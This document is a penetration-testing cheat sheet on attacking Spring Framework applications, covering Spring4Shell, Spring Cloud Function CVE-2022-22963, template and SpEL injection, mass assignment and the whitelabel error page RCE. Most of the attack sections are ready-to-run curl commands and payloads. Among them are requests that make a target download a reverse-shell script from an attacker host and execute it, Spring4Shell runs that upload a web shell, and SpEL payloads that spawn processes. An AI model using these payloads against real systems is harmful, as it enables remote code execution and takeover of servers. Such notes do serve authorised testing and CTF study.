Spring Framework

Theory

Spring is an application framework and inversion of control container for the Java platform.

Practice

We can attempt to trigger an error on the website as a method of fingerprinting. If the error results in a "Whitelabel Error Page," this indicates that the website is running Spring Boot.

$ curl http://target.com/DoesNotExist
{"timestamp":"2023-09-03T18:49:24.100+00:00","status":404,"error":"Not Found","path":"/DoesNotExist"}

Tools

./spring4shell-scan.py -u http://<target> --test-CVE-2022-22963

Routing Abuse

Routing misconfigurations in the Spring Framework can pose significant security risks, potentially leading to protected URL bypass, path traversal, or information leaks.

Spring Boot Actuators

The Spring Boot Framework includes a number of features called actuators to help you monitor and manage your web application when you push it to production. Intended to be used for auditing, health, and metrics gathering, they can also open a hidden door to your server when misconfigured.

Spring View Manipulation

Spring application that uses Thymeleaf as its templating engine, if template name or fragment is concatenated with untrusted data, it can lead to expression language injection and hence RCE.

Vulnerabilities

Spring4Shell - CVE-2022-22965

Spring4Shell is a vulnerabilitiy to remote code execution in the Spring Framework. It affects a component in Spring Core which is the heart of the framework.

JDK 9+
A vulnerable version of the Spring Framework (<5.2 | 5.2.0-19 | 5.3.0-17)
Apache Tomcat as a server for the Spring application, packaged as a WAR
A dependency on the spring-webmvc and/or spring-webflux components of the Spring Framework

$ python poc.py --url https://example.io/
Shell Uploaded Successfully!
Your shell can be found at: http://MACHINE_IP/tomcatwar.jsp?pwd=thm&cmd=whoami

$ python3 exploit.py --url="https://TARGET:PORT/ENDPOINT" --dir="webapps/ROOT" --file="cmd"
$ curl https://TARGET:PORT/ENDPOINT/cmd.jsp?cmd=id

$ ./spring4shell.py https://TARGET:PORT/ENDPOINT

Spring Cloud RCE - CVE-2022-22963

In Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions, when using routing functionality it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local resources.

We can easily exploit it by hand

# 1. upload a rev.sh from our webserver
curl -X POST  http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("wget -O /tmp/rev.sh http://<ATTACKING_IP>/rev.sh")' --data-raw 'data' -v

# 2. Execute it
curl -X POST  http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("/bin/bash /tmp/rev.sh")' --data-raw 'data' -v

SSTI to RCE

If there is an input form, such as a search form, or URL parameter which the parameter is reflected in the website, you may be able to find the vulnerability to the server-side template injection.

Try them:

2*2
#{2*2}
*{2*2}

Then you can also check more about that.

{"dfd".replace("d", "x")}
#{"dfd".replace("d", "x")}
*{"dfd".replace("d", "x")}

// ---------------------------------------

// the desired output of the above...
"xfx"

If there is an input vulnerable to SSTI,we may gain a reverse shell as follow.

First generate the reverse shell, and host it on your webserver. Then we can send following payloads in the vulnerable input.

*{"".getClass().forName("java.lang.Runtime").getRuntime().exec("wget http://<local-ip>:8000/rev.sh")}

*{"".getClass().forName("java.lang.Runtime").getRuntime().exec("chmod 777 ./rev.sh")}

*{"".getClass().forName("java.lang.Runtime").getRuntime().exec("./rev.sh")}

Mass Assignment

Software frameworks sometime allow developers to automatically bind HTTP request parameters into program code variables or objects to make using that framework easier on developers. This can sometimes cause harm.

This functionality becomes exploitable when:

Attacker can guess common sensitive fields.
Attacker has access to source code and can review the models for sensitive fields.
AND the object with sensitive fields has an empty constructor.

Suppose there is a form for editing a user's account information:

<form>
     <input name="userId" type="text">
     <input name="password" type="text">
     <input name="email" text="text">
     <input type="submit">
</form>

Here is the object that the form is binding to:

@Data
public class User {
   private String userid;
   private String password;
   private String email;
   private boolean isAdmin;
}

Here is the controller handling the request:

@RequestMapping(value = "/addUser", method = RequestMethod.POST)
public String submit(User user) {
   userService.add(user);
   return "successPage";
}

Using the mass assignment vulnerability, we can set the value of the attribute isAdmin of the instance of the class User:

curl -X POST -d 'userid=attacker&password=s3cret_pass&email=attacker@attacker-website.com&isAdmin=True' http://<TARGET>/addUser

SpEL Injection

For instance, the following method uses the standard context to evaluate SpEL expression:

private static final SpelExpressionParser PARSER = new SpelExpressionParser();
private static final StandardEvaluationContext CONTEXT = new StandardEvaluationContext();

@PostMapping(path = "/")
public void method(@RequestBody String path, @RequestBody String value) {
    Expression expression = PARSER.parseExpression(path);
    expression.setValue(CONTEXT, value);
    // ...
}

As a result, you can gain code execution by sending the following POST request:

curl -X POST -H 'Content-Type: application/json' -d "{\"path\":\"T(java.lang.Runtime).getRuntime().exec('touch executed').x\", \"value\":\"executed\"}"

If you have access to a source code, try to search for vulnerable code using the following keywords:

SpelExpressionParser, EvaluationContext, parseExpression, @Value("#{ <expression string> }")
#{ <expression string> }, ${<property>}, T(<javaclass>)

Yoy may try to use expressions in different elements of the service:

Parameter names and values:

variable[<expression string>]=123
variable=123&<expression string>=123
{"<expression string>":"123"}
{"variable":"<expression string>"}

HTTP headers:

Cookie: cookie_name=<expression string>
Cookie: <expression string>=cookie_value
Private-Token: <expression string>

You can use the following payloads as the expression string:

${1+3}
T(java.lang.Runtime).getRuntime().exec("dig <URL>")
#this.getClass().forName('java.lang.Runtime').getRuntime().exec('dig <URL>')
new java.lang.ProcessBuilder({'dig <URL>'}).start()
${user.name}

Spring boot whitelabel error page RCE

This vulnerability requires the following conditions:

Spring Boot version 1.1.0 - 1.1.12, 1.2.0 - 1.2.7, 1.3.0
There is at least one interface that triggers the default whitelabel error page in Spring Boot

As a result, it leads to RCE and you can execute arbitrary commands first by preparing the payload with the next python scrypt (this sample prepares a payload that executes open -a Calculator command):

cmd = 'open -a Calculator'

h = ''
for x in cmd:
    h += hex(ord(x)) + ','

payload = h.rstrip(',')

print('${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{' + payload + '}))}')

Send the payload within the id parameter, open -a Calculator will be executed:

curl 'http://<TARGET>/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}'

SimpleEvaluationContext ReDoS

The SimpleEvaluationContext context prevents arbitrary code executing and writes a error message. However, you still can exploit the ReDoS attack.

EvaluationContext simpleContext = SimpleEvaluationContext.forReadOnlyDataBinding ().build();
Expression exp = parser.parseExpression("'aaaaaaaaaaaaaaaaaaaaaaaa!'.matches('^(a+)+$')");
// ReDoS
exp.getValue(simpleContext);

Spring Data Redis Insecure Deserialization

Spring Data Redis, part of the larger Spring Data family, provides easy configuration and access to Redis from Spring applications. Spring Data Redis first serializes data before writing data to Redis. By default, Java native serialization is used for serialization.

When Spring Data Redis retrieves data from Redis, the stored bytecode is deserialized. Since the target class is not checked or filtered during deserialization it can lead to remote code execution.

Resources

Last updated 8 months ago

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